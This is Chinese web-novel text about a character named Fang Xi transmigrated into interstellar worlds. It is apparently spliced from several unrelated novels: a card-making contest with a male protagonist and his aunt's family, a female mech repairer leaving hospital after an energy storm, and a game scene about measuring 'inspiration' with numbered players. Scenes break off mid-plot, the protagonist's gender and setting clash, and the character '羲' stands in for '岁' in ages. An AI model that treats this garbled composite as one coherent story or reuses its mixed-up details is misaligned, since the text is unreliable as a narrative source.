谷大姨却还不满意，她转头又看向了谷燕：“还有你，都已经毕业这么久了，还没有找到工作……而且刘能哪里不好了，你居然就因为一点鸡毛蒜皮的小事，就跟人家分手了，难道你是想让我养你一辈子吗？” 谷燕：“……” 是她想找不到工作吗？ 谁让连着三家大公司，哪家公司录用她，哪家公司就倒闭。 还有，是她想跟刘能分手吗？ 明明他们当初说好的，她用她攒下来的钱给刘能买一个新光脑，送给他做毕业礼物，刘能用他攒下来的钱给她买一双她从小就一直想要的名牌运动鞋，送给她做毕业礼物。 结果对方收了她送的光脑之后，就以名牌运动鞋不实用，买了就是浪费钱为由，不愿意履行承诺。 这样的下头男不分手难道还要留着过年吗？ 但她还是忍下了。 因为她知道她要是敢反驳，那这件事情就别想过去了。 果不其然，骂尽兴了之后，谷大姨才回过头把豆浆塞进方羲手里：“快喝，别理那两个蠢蛋。” 方羲：“……” 谁能想到，有一天，一杯分量还不到地球上的那些早餐店卖的两块钱一杯的豆浆的三分之二的豆浆，也能给他拉一箩筐的仇恨。 但是他能怎么办呢？ 方羲只能仰头把杯子里的豆浆全都喝光：“好了，我喝完了。” “等我觉醒成为驭兽师之后，一定买上一箩筐的黄豆卡，让大姨你也能天天喝上豆浆。” 谷大姨脸上的笑容顿时就更浓了：“好好好，那我可就等着沾你的光了。” 谷燕忍不住又翻了个白眼。 沾方羲的光？ 要知道方羲从去年开始就在福晟修理店打零工，可是这一年多来，他都没往家里拿过哪怕一分钱，但他却还像以前那样从谷大姨手里拿零花钱，年初他生日的时候，他甚至还以钱不够花为由，让谷大姨给他涨了零花钱。 因为这，谷池的零花钱直接没了。 谷池不答应，哭了一晚上，方羲都没有松口。 最后还是她承诺等她工作之后，会给谷池发零花钱，谷池才消停下去。 所以在她看来，方羲如果真的能够觉醒成为能力者，他不恩将仇报，她就谢天谢地了。 至于沾他的光？她可不敢做白日梦。 她甚至忍不住往阴暗处想，等到谷大姨意识到方羲就是头白眼狼的时候，怕不是会气死。 到时候她一定要去旁边商场点上一桌子好菜，好好吃上一顿，出口恶气。 方羲：“时间不早了，我先去修理店了。” 谷大姨：“去吧。” 出了门，方羲忍不住长吐一口气。 是的，这个世界跟他以前所想象过的星际世界不太一样。 ——星际2012年，一场百万年难得一遇的陨石雨突袭星际联盟，两天后，被陨石中携带的病毒感染了的动植物开始变异，一个星期后，人类世界沦为屠宰场。 星际2050年，在各大星球的通力合作下，觉醒药剂横空出世。 自此，人类拥有了抗击变异动植物的能力—— 天赋值超过20，服用觉醒药剂之后，就有可能觉醒成为驭兽师或制卡师。 眼下是星际4030年。 人类和变异动植物的战争进入了僵持阶段。 人类始终没有办法消除那种病毒——虽然人类不会被它感染，但是动植物变异之后，产生的排泄物却带有致命的毒性，能够轻易杀死人类。 那些排泄物很快就将土地和水资源全都污染了。 人类无力再种植粮食和养殖牲畜。 取代粮食和水资源的，是营养液以及各种各样的卡牌。 那些卡牌不仅能够变幻出各种各样的粮食蔬菜，甚至能大变活鸡活鸭。 谷大姨给他煮的豆浆所用到的黄豆，就是用一张F级黄豆卡变出来的。 他刚刚穿过来的时候，有幸看到了那神奇的一幕。 也正因为如此，在他现在的境况还不如他没穿越前的情况下，他依旧发出了他可能救过穿越大神的感慨。 毕竟谁还没有一颗探索神秘的心呢！ 而这里是启明星，星际联盟下属的一颗贫困星。 前身‘方羲’，今年十八岁，目前正在第十中学上高二。 他的母亲是个普通人，但足够努力，大学毕业之后，顺利找到了一份待遇优渥的工作。 只可惜的是，她的运气不太好，生下方羲之后没多久，就遇到了一起变异植物入侵事件，并且死在了那场事故之中。 至于他的父亲，身份不详。 后来他的抚养权落到了他母亲唯一的姐姐也就是谷大姨名下。 谷大姨在第十中学当老师。 因为谷大姨执意要收养‘方羲’，十三年前，她和她那本来感情就不太深的丈夫离婚了。 谷燕是她的大女儿，今年二十二岁，刚刚大学毕业。 他们也都是普通人。 谷池是她的小儿子，今年十三岁，刚刚从小学毕业。 一方面因为‘方羲’是他母亲唯一的后代，另一方面因为他比他母亲还要聪明，学习成绩从小到大都名列前茅，几乎所有人都认为他一定能觉醒成为能力者，所以谷大姨非常偏爱他。 就比如说，在听说经常食用自然食材，也能提升天赋值之后，谷大姨在完成学校布置的教学任务之余，还天天跑出去打杂工，就为了能让‘方羲’每天都喝上一杯豆浆。 当然了，这样的待遇，谷燕和谷池都是没有的。 ——这都是因为，即便人类拥有了觉醒药剂，但星际联盟一万多颗星球，一千八百多亿人口，平均觉醒率只有千分之五。 而在落后的启明星，觉醒率更是只有不到千分之一。 但是两千年的经验告诉他们，能够觉醒成为能力者的人，百分之九十九在没有觉醒之前就比普通人要优秀。 前身也认为自己一定能够觉醒成为一名驭兽师。 但他的人生止步在测量天赋值的半个月前。 那天他放学回家的时候，路过一条河，然后就发现河里飘着一个伤痕累累的小孩，他原本并不想救人，但是在发现那个小孩的衣着明显价值不菲之后，他直接跳下了水。 然而他刚刚把人推到岸边，一股大风就把他吹到了河中央，而他当时已经没有了力气…… 后来，方羲从他的身体里活了过来。 几天前，方羲代替他去测量了天赋值。 他不知道这具身体在换了一个灵魂之后是否还能顺利觉醒成为一名驭兽师，但他觉得，穿越大神都已经把他弄到了这个世界了，多多少少都会给他一点光环吧。 而明天，检测结果就会出来了。 这也是为什么，谷大姨这几天会这么暴躁的主要原因。 ——她平时其实很少发脾气，要不然谷燕早就炸了。 这么想着，福晟修理店到了。 店老板是个中年女人，看到方羲过来，她连忙招呼道：“快来，今天的生意很不错，我们怕是要加班加点了。” “好的。” 方羲当即坐了过去。 会被送到修理店来的，绝大多数都是非常简单的电器。 前身在机械方面很有天赋，这也是他能应聘上这家修理店的主要原因。 有前身的记忆在，再加上他的举一反三，最后他们赶在太阳落山之前，就把所有的电器都修好了。 店老板查看了一下他修理过的电器，发现每一件都处理的很妥当之后，忍不住说道：“你这段时间吃了什么补品了，进步这么大？这要是再给你半年时间，就算你觉醒不了，将来也一定能在机械方面闯出一番天地。” 她很快就反应过来：“呸呸呸，我这是在说什么胡话，你这么聪明，肯定能觉醒成为驭兽师。” 方羲当然知道她只是心直口快，所以只说道：“对了，老板，你能不能提前把这段时间的工资给我结了，我有用。” “行。” 店老板当即打开手上的光脑，一番计算之后，给方羲划过去两千两百星币：“这个月你一共来了十九天，工资一天一百星币，一共是一千九百星币，另外三百星币算是我给你加的奖金。” 方羲：“谢谢老板。” 从福晟修理店出来之后，方羲却没有急着回家，而是拐去了旁边的一家商场。 等他再从商场里出来的时候，他手上多了一个盒子。 一直到晚上九点，谷燕才回到家。 她今天一共参加了三场面试。 但是从她一脸的疲惫中就可以看出，面试结果都不太好。 好在谷大姨这会儿不在家，要不然少不了又要被她大骂一顿。 回到房间，谷燕往床上一躺，忍不住伸手捂住眼睛。 就在刚才回来的路上，她又收到了一条嘲讽她现在都还没有找到工作的短信——不用猜也知道，那肯定是被她拉黑的前男友刘能发的。 或许她真的应该把目标放低一点了，比如从今天面试的那三家公司里挑一个去上岗。 可是那三家公司，一家开出的基础工资低到令人发指，甚至还不如方羲在福晟修理店打零工的工资高。 另一家公司规模虽然还可以，但是因为转型失败，前途渺茫。 最后一家的部门经理在给她面试的时候，就差把眼睛黏到她胸上了…… 谷燕的眼睛瞬间就红了。 在此之前，她一直很自信，觉得以她的聪明才智，毕业之后，一定能够收获一段美满的婚姻，再找到一份让其他人只能羡慕的工作，一年升组长，两年升主管，三年升经理…… 结果呢，她却沦为了所有人的笑柄。 这样的落差，已经把她折磨的快要崩溃了…… 也就在这个时候，她眼角的余光突然发现了旁边桌子上放着的一个盒子。 嗯？ 最主要的是，那盒子上的商标还不是一般的眼熟。 她下意识坐起身，拿起那个盒子，拆开一看。 看着盒子里的那双更熟悉的运动鞋，她的眼睛瞬间就瞪圆了。 “这是——” 她当即就冲进了旁边的隔间。 谷池正趴在床上玩游戏。 看到她进来，他连忙把游戏机藏到了身后。 “我没有偷玩游戏。” 可是谷燕这一次却放过了他。 她直接抓住他的肩膀，激动道：“那双鞋子是你买来送给我的？” 谷池：“……” “什么鞋子？” 谷燕：“就我桌子上的那双，我一直想要的运动鞋。” “要三千五百星币的那双？” 谷池的目光瞬间就变了。 那神情分明是在说，你在想屁吃？ 谷燕：“……” 谷燕这才反应过来。 是啊，谷池怎么可能买得起那么贵的鞋子。 他还指望着将来能从她手里拿零花钱呢。 所以那双鞋子会是谁送的？ 她的前男友刘能？ 绝不可能。 她妈？ 更不可能了。 毕竟她妈还觉得她跟前男友刘能分手分错了呢。 退一万步讲，就算是她妈想开了，也肯定是给方羲买，不可能会给她买。 但是总不可能是方羲给她买的吧？ 开什么星际玩笑？？ 方羲要是有这么贴心，就不会霸占家里最大的房间，把谷池赶过来跟她一个房间。 更不会在学校暗示其他人说他们欺负他，博取同情了…… 回到房间，谷燕再次走向了那双运动鞋。 也就在这个时候，她注意到了盒子里的一张卡片。 她翻过那张卡片一看。 上面的字体龙飞凤舞。 “大鹏一日同风起，方摇直上九万里！” 谷燕：“……” 千言万语全都汇聚成了一个字：“操！” 这还真是方羲送给她的。 而检测大堂也突然多了几十个人，恐怕都是刚刚从战场中退出来的队伍。 踏樱看着方羲古怪的神情，感觉实在有点好笑，但她还是认真解释道：“检测大堂上一次开放是七天前，其他新晋玩家的属性……有提升也是正常的。” 方羲沉默了，不愿接受这个事实。 几乎不怎么说话的一夕想了想，试探性问道：“我们还去测特殊数值吗？” 方羲又看了一眼被自己拖后腿的排名，神色严肃，声音铿锵有力。 “……当然去！” 踏樱和一夕默契地对视一眼，只感觉这名不靠谱的队长，真是难得坚定了一回。 第 135 章 第 135 章 检测大堂面积很广，但有四五十个驻守在此、负责监管安全秩序的真实玩家在场，还有陆陆续续从检测战场退出来的新晋玩家。 方羲不认路，所以跟着踏樱和一夕。但没走几步，她忽然发现有些新晋玩家直接往大堂出口离开，没有和她们一样去做特殊数值的检测。 像是洞察了方羲的疑惑，踏樱无奈地解释道：“白鸦，我们大部分人的特殊数值，在短期内都不会大幅度的变化，他们可能赶着时间去训练呢。而且……测试灵感很痛苦，这次没有强制要求，就没有必要再去测一个毫无变化的灵感数。” “痛苦？” 踏樱点了点头，轻声道：“坦白地说，我第一次以这种形式测完灵感之后，意志不清了整整一天。头晕、吐血、思维混乱、无止境的幻觉……就像一场身如其境的噩梦，根本分不清游戏和现实，身体就好像有什么怪物在啃食我的血肉，整个世界都是扭曲的尖叫声。” “一天之后，我的状态才勉强恢复了正常。”踏樱说，“我的情况还算好的，听说有一些异端抗性相对较低的新晋玩家，这种状态持续了整整一周。” 距离目的地还有一半的路，四周没有人，只有一扇扇风格不同的门，地面开裂的黑洞与悬崖，诱人打开的魔鬼盲盒。 这些都是傀儡师曾经设置的特殊投影，但因为没有灵魂生命供给，只剩下无法消除的遗迹。 “哦……” 方羲仰躺着偏过头，她身上好像被车碾过一样，四肢百骸都残余酸痛感，治疗舱稀释出药剂，极大缓解了她的难受。 医生用光脑扫描了一眼她的信息，念道：“方羲，18羲，未觉醒，居住在海洋大道139号，确认一下你的信息。” 她将光脑展示给方羲看了一眼，方羲迷茫的被引导做出回应，她张了张干裂的唇，喑哑的声音干巴巴的道：“是的，信息无误。” 医生点头，调节着她的医疗舱，语气匆忙道：“你的伤势已经快好了，今天中午就可以出院，等半小时缓释剂用完，记得来诊疗室领取你的病历信息。” 说完，她急匆匆收起光脑，方羲忙道：“医生，请问我是因为什么住进来的？” 医生脚步一顿，莫名其妙看了眼她：“你不记得？你在能量场里被能量风暴冲击得太厉害了，幸好你们那个能量场有一个不错的单兵，解决了能量体，不然你这个情况，晚一点就要救不活了。” 医生说着，用一种庆幸的眼神扫了眼她。 人走后，方羲躺在治疗舱中，感受着药剂对身体的舒缓，脑海中漫无目的的思考着人生。 她记得解决了能量体后，能量场突然发生异常，一股强大的能量涌入身体，应该是那时候被能量冲击到了。 药剂用完，方羲感觉到身体没什么异样，从医疗舱内出来，准备按照医生说的，去诊疗室拿去病历。 她本可以直接通过床位信息，光脑扫描，但方羲并没有购置光脑，得跑一趟去取纸质病历。 从病房出去，外面的走廊中人满为患。 医疗机器人抬着一个又一个的受难者进入病房，路过时能看到被能量侵蚀的面目全非的身躯，甚至有些被能量体啃咬，鲜血大团的溅在医疗院地板上。 疼痛的嚎叫，和痛苦的哭嚎声不绝于耳。 穿着深黑军服，带着星盟徽章的边境军不断来回。 方羲看着这一幕，脚步一顿，有些不忍直视，她抿了抿唇，避开人群，穿过长廊。 拐角的另一侧，几个年轻的学生围着壮硕的大汉，方羲认出来是派森先生，周围的几个学生有些眼熟，但她没有上前，从另一边绕开。 倒是派森先生看到她，忙抬手准备打招呼。 “先生，这颗能量晶我们三环六院买下，你可以开个价。” 派森先生无奈的再一遍重复：“这颗能量晶真的不是我的，我无权决定。” “能量体不是你杀的吗，边境军说了，谁解决谁拥有，你是不是担心我们出不起钱？” 说话的男生眉宇间隐隐有些不耐，跟远星环的人做这些拉扯，让他本就不多的耐心几乎告罄，要不是这颗能量晶符合他们队伍输出的属性，佟舟是不会在这里花费力气的。 派森先生也不知道这颗能量晶怎么到了他手里，可能是方羲受伤后误打误撞掉到他旁边，又正好是被他的机甲武器损伤，所以边境军放在他这里。 派森先生还因此被误会，是解决了能量体的单兵。 天呐，他怎么可能解决S级能量体。 那分明是那个维修师，驾驶基础机甲做到的。 派森先生内心无比惶恐。 偏偏被这几个军校生拖住脚步，和方羲错开，他有些着急的要去见方羲，只好耐着性子再解释一遍： “听我说，听我说，各位少爷小姐，各位同学，这个能量体并不是我解决的，而是跟我一起的那个单兵，这枚能量晶是她的，你们应该和她去商量，而不是在这里和我耗时间。” 佟舟愣了一下，脑海不受控制想到两天前见到的那个眼神。 那么浓厚的杀意，好像下一刻，就要咬断被她盯上的猎物的脖颈，他不由自主打了个寒战。 下一刻又很快反应过来。 不过是个远星环的单兵而已，草。 佟舟心里骂了一句，面上有些怀疑：“这个能量体是她解决的？你骗谁呢？她身上的机甲可只是基础机甲。” 派森先生摇摇头，觉得和他说不通，“好了，我已经解释的很清楚了，如果你还要拦着我，那么我就要不客气了。” 说着，派森先生握紧拳头，手臂上的肌肉鼓起，形成一个狰狞的弧度。 佟舟后退一步，脸上有些挂不住。 边境军路过看到这一出，两人一队的救援队伍冷眼扫了一下，等走远才和同伴吐槽了一句。 “又来了，没完没了是吧。” “近星环的少爷们，是这样的，也就是宋长官现在不在了，不然都得送去十一区练练。” 他们语气有些嘲讽，刺得佟舟脸色不由得燥热。 他知道救援关头他离队买能量晶不好，但三环六院又不是白来救援的，不为能量晶能为什么。 佟舟有些不甘心的后退一步，派森先生错身离开走廊，他循着方羲离开的方向追上去。 留在原地的三环六院队伍看了眼领队，“指挥，我们现在……” 佟舟冷下脸，看着派森先生的背影道：“整个塔洛星又不止他一个能量晶，这个买不到，那就换一个。” 其他人互相看了一眼，都有些无奈。 队伍中的一个女生道：“不如去问问那个单兵？派森不是说是她解决的能量体么？” “你真的信啊”，佟舟挑眉，“一个驾驶基础机甲的远星环单兵，能解决S级能量体，你不觉得好笑吗？” 女生忍他的臭脾气很久了，当下就怼：“别一口一个远星环，九、十星环当初是十一区的辖区，这边的人单兵作战能力比起主星也不差。” “你也说了，那是宋白宁还在的时候，她死了十年了，远星环早就被主星吸干了血，还真以为能出什么天才吗。” 佟舟轻慢的反驳，“行了，派森明显就是不想卖，一颗S级的能量晶而已，到时候去拍卖会上再给你买一颗。” 女生气的瞪了他一眼，跟这样的蠢货根本难以沟通！ 方羲推开诊疗室的门，里面只有一个值班的医生，其他的都忙于能量场救援。 她来到面前的隔离诊疗窗口坐下，里面的医生操作着医疗系统，忙碌间询问：“来做什么的，报一下住院号。” 方羲快速报出自己的信息。 对方很快操作好她的只俩人，从一个内外联通的闸机中递出来，看见方羲的电子档案时，对方惊讶了一下：“咦，你今年18羲？” 方羲点头，医生看见面前的少女身形瘦削，虽说塔洛星位于远星环，但还是少有她那么骨瘦如柴的人，正好检测结果上显示她有些营养不良。 医生一时有些心绪复杂，调出她的检查界面，多叮嘱了几句：“你有点觉醒前兆了，可能会迎来精神觉醒。哦，对了，我看你的羲数，应该会去军校读书吧？” 方羲确实打算找一下星际游民通道的学校办理入学，于是点了点头。 “那就好，你的觉醒前兆不太明显，加上不是最佳觉醒期内，有失败的可能，期间可能因为能量外溢，出现特殊表现，记得到了学校后，去有觉醒检测的医院，做一个觉醒全项监测。” 方羲对精神觉醒并不陌生，毕竟是星际最受瞩目的群体。 精神觉醒后，会开拓出储能的精神阈和本体晶，本体晶可以召唤精神体作战，是抵御能量体和能量场的中坚力量。 目前星际公认的最佳觉醒期在13-16，并且在这个区间越早觉醒越好，超过16羲觉醒者被称为期后觉醒，这一类觉醒者的精神阈储能值很低，形成本体晶缓慢。 像方羲这样18羲觉醒的是极少数，所以医生担心她有觉醒失败的可能。 但，方羲看着手上的检测单，面露震惊。 值得一说的是，她完完全全是从另一个世界穿过来，身体和灵魂都来自于末世，竟然也能够拥有星际人的觉醒？ “好了，你的手续都办好了，因为塔洛星能量场损失补贴，本次治疗不收取费用，收好你的病历信息和物品，就可以离开了。” 医生简单的叮嘱了几句关于她的情况。 方羲道谢后带着纸质病历离开诊疗室，她来回翻看自己的诊疗结果，一串文字最后的那个“待觉醒”，有一种如梦似幻的感觉。 这一刻，方羲有了一种，和这个新的世界绑定在一起的感觉。 内心刚升起一点罕见的感慨情绪，很快就被身后的声音打散。 派森先生绕了几个弯，终于找到了方羲，忙扬声叫她：“方工，等等。” 他快步跑上来，递上那枚能量晶。 派森先生气都没喘匀：“方工，这枚能量晶，边境军说这次能量体太多，谁能解决，能量晶归谁。” 方羲看了眼那枚灰白色晶体，瘦削的手指拎起它，能量晶只有她的指甲盖那么大，谁能想到能孕育出破坏力这么强的能量体。 方羲不免想到，她原来的世界有一类异种，蚂蚁一样的虫子，却能够占据人类的大脑，操控人的思维。 生物的力量真是奇妙。 “谢谢你了派森先生。” 方羲收起能量晶，礼貌的和派森先生道谢，对方有些不好意思的摸了摸头发，“客气了方工，这次真是多亏了你，不然我可真不知道能不能幸存下来呢。” 方羲和他客气的寒暄了几句，就迫不及待要离开了。 她还得赶紧问一问彼得先生，这个月工资发不发，要是能发放，她可以早一点买一个光脑，然后去军校报名，不然星际游民通道的时间就要过去了。 这一次能量场的突然降临打断了方羲的计划，但总体大差不差。 彼得维修店被能量场摧毁，幸好彼得老先生并不在店里，而在塔洛星的矿区，接到方羲的消息时，老先生重重松了一口气。 “小羲，真是给我吓得够呛，我看到新闻的时候，生怕你出事。” 方羲用的街道办的应急光脑联系的彼得先生，她简单的报了平安，随后问到工资的事情。 彼得老先生心有余悸的道：“当然要发放，说到这个确实可惜了，我儿子在星委会那边升职，要我搬去主星，原本还打算让你接手维修店，谁知道出了这样的事，唉。” 彼得老先生无奈的抱怨了几句。 听的方羲眼神一紧，内心满是遗憾，对能量体的厌恶不由得加深。 你根本不知道，你那该死的降临，给我添了多少麻烦，你真该死啊。 方羲内心恨得滴血，此刻还要平静的回复彼得先生：“承蒙您的厚爱，只是很可惜。” 彼得老先生也有些唏嘘：“不过也好，你才18羲，正好去学校里学习，到时候能去军区，当然大有作为，比守着一个小小的维修店要有前途的多。” 方羲内心有些哭泣：不，我就愿意守着小小的维修店。 彼得老先生继续说：“对了，工资已经打在你的星卡了，记得要办好你的身份证明啊小羲，我看这边能不能快点处理完，回来送送你，以后就不知道什么时候再见了。” 老彼得先生语气有些伤感，但也有些为方羲高兴，听的方羲心里发酸。 “我会的，您放心吧，手续还要时间呢。” 事实证明，方羲这句话说的还是委婉了，等到她办好身份证明时，已经是三天后了。 塔洛星为因能量场而失去住所的人群，建造了中转站，方羲现在就居住在中转站内。 她带着新买的光脑，接到老彼得先生的通讯时，方羲正在星网查询，军校的星际游民计划。 她最喜欢的星球是紫藤萝星。 紫藤萝星位于第二星环，是星际联盟着名的景区星球。 那里有着全星际最贴合母星故土的生态，比起其他星球的人造生态，紫藤萝星以自然形成，鬼斧神工闻名。 该星球一共十所军校，学费都十分昂贵。 方羲三羲那年，她生活的星球发生异变，大量的污染和辐射，让全球生态进入到极危的情况，生物发生不同程度的异变，形成异种。 她对美好自然的印象，停留在儿时仅存的几个画面，对所谓的古星自然风貌同样心驰神往。 方羲查询了紫藤萝星的房价，觉得也许以后赚了钱，去那里养老也不错。 这些都是次要，更重要的是，她现在已经过了军校正规的报名时间，开通星际游民延后报名计划的学校不多。 距离比较近的学校里，学费在她负担的起的程度，环境又是方羲很喜欢的。 只有坐落在谕光星的星际七院，星网上代称烛荆府。 星际七院位于谕光星偏远区域，被划分在包括烛荆府在内的古建筑群中，整个学院的设计充满了金属冰冷的未来质感，和深厚古朴的重木格调，看上去格外赏心悦目。 学费处于一个她的积蓄恰好能够支付的范围。 学院周围就是商业街，维修店铺成群，很适合搞一些课外兼职，另外还有学生贫困补助，符合方羲目前的状况。 简单的权衡之后，方羲把烛荆府写入计划中。 随后就接到了彼得老先生的电话，对方请求方羲，能不能完成维修店的售后工作。 寄存在维修店中的机甲密钥被能量风暴席卷了部分，边境军扫除能量场后，失物上缴，彼得先生要将这些东西交还给失主，但他在矿区那边还有事情，只能拜托方羲分担一部分。 这对方羲来说并不是什么难事，她欣然答应，随后在老彼得先生那里拿到了部分顾客的联系方式。 完成维修店剩余工作的时间，方羲拿到了属于她的身份证明。 前往业务办理点取证明的时候，协助塔洛星的边境军女士上下看了看方羲的体格。 “你的身份证明，去那边录入星网账户”，短发女人语气意外温和的指引着方羲，看见她走到另一边认证后，和自己的同事交谈：“这个就是七队说的那个女孩子吧，唔，确实有点本事。” 她的同事眼里有些晦涩：“真难想象，现在还有这么瘦的小孩，她身上就剩一层骨头一样。” 泛着淡蓝色的屏幕上，出现了无数个血掌印、触须、菌丝、眼球、金色的十字架……所有的一切，宛如被异端入侵的印记。 怪物在所有人耳边低语，呢喃。 被抛弃在宇宙最遥远之处，蔚蓝色的星球意识，缓缓睁开了眼睛。向另一个时空的人类，投以漫不经心的一瞥。 九百号按住一名首席玩家想要继续修整数据的东西，声音颤抖：“不！别乱动！” 话音刚落，黏附在屏幕上的印记，终于逐一褪色，退场。 只留下，一个超越人类思维想象的符号。 昵称：白乌鸦 灵感：∞ “……无穷？” 长久静默的，只剩下细微呼吸声的四方空间，响起一个充满迷茫的声音。 “——白乌鸦的灵感，是无穷？” 第 136 章 第 136 章 九百号的大脑有些放空。 说起来，001死之前，做过什么来着？ 教训007别总是一天到晚忙到不睡觉？ 告诉123以后不会再和他吵架的冷笑话？ 把私房钱全部偷偷摸摸送给777的事情？ 和第一场比赛不一样的是，第二场比赛只有前一百个团队能够参加，而且地点也从启明星的中央体育广场变成了第十星系中央星第十星第三区的崇化大酒店。 所以第二场比赛虽然是在后天举行，但是方羲等人却必须在第二天就乘坐星舰前往第十星。 这还是方羲第一次搭乘星舰。 怎么说呢，体验一般。 虽然无论什么时候，坐在星舰上都跟站在地面上一样平稳，但耐不住因为第十星系附近除了隔壁星系的几十颗星球之外，几乎看不到其他星球，所以绝大多数时间，外面都是漆黑一片。 直到星舰降落在第十星星港。 和启明星相比，这里繁华了十倍不止，几乎每分钟都有几百艘星舰冲出星港，只留下一道道绚烂的尾光。 而崇化大酒店也不愧是卡牌协会第十星系分会名下最豪华的酒店，光是大堂里的那座三层楼高的水晶吊灯就晃花了宋约等人的眼。 但他们也知道，现在可不是欣赏这些的时候。 核实身份，上交除光脑之外的其他通讯器，领取房卡，入住。 接下来的半个月，他们都将在这个酒店中度过。 宋约：“今天晚上，我们好好的养养精神，明天可是一场硬仗。” 当然了，这两个字针对的只是他们四个。 毕竟方羲就算是现在出去找个旅行团，然后在第十星痛痛快快玩上十五天，都不会有人质疑他。 但他们就不一样了。 谁让上一场，他们四个加在一起只拿了不到一百五十分，得分还比不上牧诏队的那几个在高三年级排名靠后的人，以至于他们在第一中学颜面扫地了呢？ 所以他们必须争取借着这一场比赛，一雪前耻。 方羲：“加油！” 第二天一大早，工作人员准时将包括三十种F级卡，二十种E级卡，十种D级卡在内的六十种卡牌的图纸，以及相应的教学视频发到了他们手上。 这些卡牌中，一半是生活类卡牌，一半是战斗类卡牌。 几乎是同一时间，他们所在的套房里的自习室里的摄像头就都打开了。 【来了，来了。】 【饮料和零食都已经准备好了，就等着看方羲大杀四方了。】 按照比赛的规定，学会一种F级卡牌积十分，学会一种E级卡牌积四十分，学会一种D级卡牌积一百分。 宋约等人第一时间将那二十种F级卡的图纸过了一遍，然后挑了几个他们比较擅长的就开始学习了起来。 他们准备先学会两种F级卡，积攒一些分数，然后再去挑战E级卡。 方羲学着他们的样子，打开了一条教学视频。 十分钟后，他就又关上了。 【……】 【牧小少爷也把教学视频关上了。】 【他们这是……准备自学？】 【这么自信的吗？】 几乎是同一时间，方羲和牧诏拿过纸笔，打开了一份E级卡牌的图纸。 方羲选择的是一张E级寒冰卡。 这是一张战斗类卡牌，它的纹路要比同等级的生活类卡牌的纹路还要复杂一些。 方羲在草稿纸上一遍一遍的描摹起了这张E级寒冰卡的图纹。 五分钟后，他就拿过一张空白卡牌，刻画了起来。 【等等，我都还没有把图纹记下来呢。】 然而一分钟后，只听见砰的一声，方羲手中的空白卡牌就报废了。 【……】 【原来天才也是会出错的，突然就没那么焦虑了。】 但没想到的是，第二次，方羲又失败了。 然后是第三次，第四次…… 方羲默了默。 他突然收起了那份E级寒冰卡的图纸，紧跟着打开了那一沓F级卡牌的图纸，而后挑选了一张F级水箭卡，学了起来。 【……】 【这是在干什么？】 【发现学不会E级卡牌了，所以也准备先刷几张F级卡牌了？】 但他们更没有想到的是，五分钟后，方羲第一次尝试制作F级水箭卡也失败了。 然后是第二次，第三次，第四次…… 而他的灵魂海中的异能力也消耗殆尽。 方羲不得不放下卡笔，开始冥想。 四十分钟后，他恢复过来，再次点开那份F级水箭卡的图纸，研究起来。 就这样又过了半个小时，他再次拿起卡笔，结果又失败了。 【……】 【怎么回事？第一中学的人不是说方羲一天就能学会一种E级卡牌，一个小时就能学会一种F级卡牌吗？】 【结果这都过去小半天了，他还是一点收获都没有？】 最主要的是，这种情况一直持续到下午三点，都没有发生改变。 反观其他参赛选手—— 【陈贺已经制作出一张F级卡牌了。】 【钱善静也已经制作出一张F级卡牌了。】 【孙建宏开始学习制作第二张F级卡牌了。】 …… 【我去，隔壁牧小少爷成功制作出第一张E级卡牌了！！】 【什么？这才过去不到一天的时间，牧小少爷就制作出一张E级卡牌了？】 【不愧是牧小少爷，牛逼！】 【再看方羲……看来他的天赋已经在之前那场比赛里消耗殆尽了。】 【看他之前那么干脆利落的关掉了教导团的教学视频，我还以为他有多厉害呢，年轻人，还是谦虚一点比较好，唉，散了散了。】 【等等，我好像知道方羲为什么这么久都没能学会一张卡牌了。】 【我翻看了他上一场比赛的记录，发现他制作的卡牌全部都是生活类卡牌，也就是说，在这之前，他学的全部都是生活类卡牌，这是他第一次接触战斗类卡牌。】 【原来是这样。】 【那我再看看好了。】 然而直到第二天下午，方羲还是在原地踏步。 【陈贺已经制作出两张F级卡牌了。】 【钱善静也已经制作出两张F级卡牌了。】 【孙建宏开始学习制作E级卡牌了。】 …… 【隔壁牧小少爷成功制作出第二张E级卡牌了。】 【就连方羲的队友也制作出第一张F级卡了。】 【看来方羲在战斗类卡牌上面没有多少天赋，那他将来的上限恐怕也高不到哪里去。】 【将来太远了，现在最要紧的是拿下这场比赛，所以如果我是方羲的话，肯定不会再在这上面硬磕了。】 宋约他们也是这么想的。 尤其是在第三天，方羲依旧一无所获的时候。 不过看到方羲不慌不忙，每天依旧按时吃饭，按时去楼下跑步的样子，他们也只能把到了嘴边的话又咽了下去。 而方羲直播间也从热度排名靠前的直播间落到了比较靠后的位置。 直到第四天中午，几个观众习惯性的点进他的直播间，正好看到他放下卡笔，从桌子上拿起一张新鲜出炉的F级水箭卡。 阳光透过窗户倾泄在他的身上，却遮掩不住他周身的意气丝毫。 【？？？】 三个小时后，第二张F级火龙卡顺利面世。 又过了两个小时，第三张F级五行卡也成功被制作出来。 第六天早上。 【陈贺已经制作出一张E级卡牌了。】 【钱善静也已经制作出一张E级卡牌了。】 …… 【牧小少爷制作出第八张E级卡牌了。】 【方羲也已经将那三十张F级卡牌里的十五张F级战斗类卡牌全都学会了，开始重新学习制作那张E级寒冰卡了。】 第七天早上。 【方羲还真就成功了。】 第九天早上。 【陈贺卡在第二张E级卡上了。】 【钱善静成功制作出第二张E级卡了。】 …… 【恭喜牧小少爷顺利完成第十三杀！】 【方羲制作出第三张E级卡了。】 第十一天早上。 【牧小少爷：第十五杀。】 【方羲完成第六张E级卡了。】 第十三天早上。 【牧小少爷完成第十八杀了，还差最后两张，他就学完所有的E级卡牌了。】 【方羲也完成第八张E级卡了。】 第十四天晚上。 【第十九张E级卡牌了，牧小少爷学会第十九张E级卡了。】 【方羲也将全部的十张战斗类E级卡牌全都学会了。】 【不愧是牧小少爷，不愧是天才方羲，硬是将一场几百人的大赛，变成了他们两个人的舞台。】 【陈贺等人：之前是谁说的我们是这一届的第十星系之光，会永远支持我们的来着？现在你们人呢？】 【只可惜了，虽然方羲还学会了十五张F级战斗类卡牌，但是牧小少爷可是比他多了整整十张E级卡牌呢。】 【所以不出意外的话，这场比赛的胜利者会是牧小少爷了。】 【让我们恭喜牧小少爷扳回一局！】 于是第二天，方羲就用一个白天的时间将剩下的十张E级生活类卡牌，全都制作了出来。 【……】 222的长相、声音、性格、决策风格……在900的脑海里，一切都逐渐变得清晰起来。 1001、1002、1003、1004…… 1001。 900心想，我想起来了。原谅我的老年痴呆症，我居然这个时候才想起来。 或许该感谢一下同样伟大的222。 她灭了火，间接救下了无穷的1001。 第 137 章 第 137 章 方羲给了踏樱和一夕一人一条蒙眼带，试图借此欲盖弥彰，然后带着她们传送到小木屋。 清脆的鸟叫声。 